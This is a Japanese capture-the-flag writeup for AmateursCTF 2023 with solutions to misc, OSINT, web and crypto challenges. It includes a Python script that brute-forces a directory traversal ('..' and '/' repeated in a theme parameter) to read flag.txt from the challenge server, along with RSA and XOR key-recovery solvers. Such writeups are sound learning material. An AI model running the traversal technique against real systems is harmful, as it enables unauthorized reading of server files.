AmateursCTF 2023 Writeup

この大会は2023/7/15 10:00(JST)~2023/7/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は2308点で914チーム中208位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord rules sanity check (misc)

Discordに入り、#ruleチャネルに記載されているルールにフラグが書いてあった。

amateursCTF{be_honest._did_you_actually_read_the_rules?}

Gitint 5e (osint)

対象のリポジトリは以下の場所にある。

https://github.com/les-amateurs

最近更新されているリポジトリ「more-CTFd-mods」を見てみる。その中のCommitの内容を見てみる。

[Initial commit]
# more-CTFd-mods
amateursCTF{y0u-fOunD_m3;

[Update README.md]
# more-CTFd-mods
amateursCTF{y0u-fOunD_m3;
bu7:d1D U r34L!y?}

結合するとフラグになる。

amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}

funny factorials (web)

"../"は再帰を使って削除されるが、その回数を一定数を超えるとその時点のpathを返す。ディレクトリトラバーサルで、間に"../"を入れる数を増やしていき、フラグが得られるまで繰り返す。

#!/usr/bin/env python3
import requests
import re

base_url = 'https://funny-factorials.amt.rs/?theme='
pattern = '(amateursCTF\{.+\})'

for i in range(1, 1000):
    url = base_url + '..' * i + '/' * i + 'flag.txt'
    r = requests.get(url)
    if 'Internal Server Error' not in r.text:
        m = re.search(pattern, r.text)
        flag = m.group(1)
        print(flag)
        break
amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}

Compact XORs (crypto)

XOR keyを確認すると、偶数番目は0、奇数番目は平文の前のインデックスになっている。このことを使って復号する。

#!/usr/bin/env python3
with open('fleg', 'r') as f:
    enc = bytes.fromhex(f.read())

flag_head = b'amateursCTF{'
key = []
for i in range(len(flag_head)):
    key.append(flag_head[i] ^ enc[i])
print('[+] key:', key)

flag = ''
for i in range(len(enc)):
    if i % 2 == 0:
        flag += chr(enc[i])
    else:
        flag += chr(ord(flag[i-1]) ^ enc[i])
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: [0, 97, 0, 97, 0, 101, 0, 114, 0, 67, 0, 70]
[*] flag: amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}

You get extra information 1 (crypto)

暗号化処理の概要は以下の通り。

・p, q: 512ビット素数
・n = p * q
・p = p + q
・e = 0x10001
・extra_information = p + q
・ptxt: flagの数値化したもの
・c = pow(ptxt, e, n)
・n, c, e, extra_informationを出力

RSA暗号で、ヒントとして以下の値が提供されている。

extra_information = p + q + q = p + q * 2

この式を変形する。

p = extra_information - q * 2

n = p * qであることを使って、上記のpを代入する。

n = (extra_information - q * 2) * q

この2次方程式を解きqを求める。qがわかればpもわかり、flagを復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])
extra_information = int(params[3].split(' ')[-1])

q = sympy.Symbol('q')
eq = (extra_information - q * 2) * q - n
qs = sympy.solve(eq)
for q in qs:
    if q.is_Integer:
        q = int(q)
p = n // q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
amateursCTF{harder_than_3_operations?!?!!}

You get extra information 2 (crypto)

暗号化処理の概要は以下の通り。

・p, q: 512ビット素数
・n = p * q
・e = 0x10001
・extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n*q + q**2
・ptxt: flagの数値化したもの
・c = pow(ptxt, e, n)
・n, c, e, extra_informationを出力

RSA暗号で、ヒントとして以下の値が提供されている。

extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n*q + q**2

q = n // p であることを使って式を変形する。

extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n**2//p + (n**2//(p**2))

両辺にp**2をかける

extra_information*p**2 = ((n**2)*(p**3 + 5*(p+1)**2))*p**2 + 5*n**2*p + n**2

この高次方程式を解きpを求める。pがわかればqもわかり、flagを復号できる。

#!/usr/bin/env sage
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])
extra_information = int(params[3].split(' ')[-1])

var('p')

f = ((n**2)*(p**3 + 5*(p+1)**2))*p**2 + 5*n**2*p + n**2 \
    - extra_information*p**2
ps = solve(f, p)

p = int(ps[4].rhs())
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = int(inverse(e, phi))
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
amateursCTF{omg_it's_my_favorite_epic_thing_where_it_looks_like_a_binomial!!}

Survey (misc)

アンケートに答えたら、以下のbase64文字列が表示された。

YW1hdGV1cnNDVEZ7c3VydjN5c19oM2xwX3VzX2ltcHIwdjNfZnV0dXIzX2MwbXAzdGl0MW9uc30=

base64デコードする。

$ echo YW1hdGV1cnNDVEZ7c3VydjN5c19oM2xwX3VzX2ltcHIwdjNfZnV0dXIzX2MwbXAzdGl0MW9uc30= | base64 -d
amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}
amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}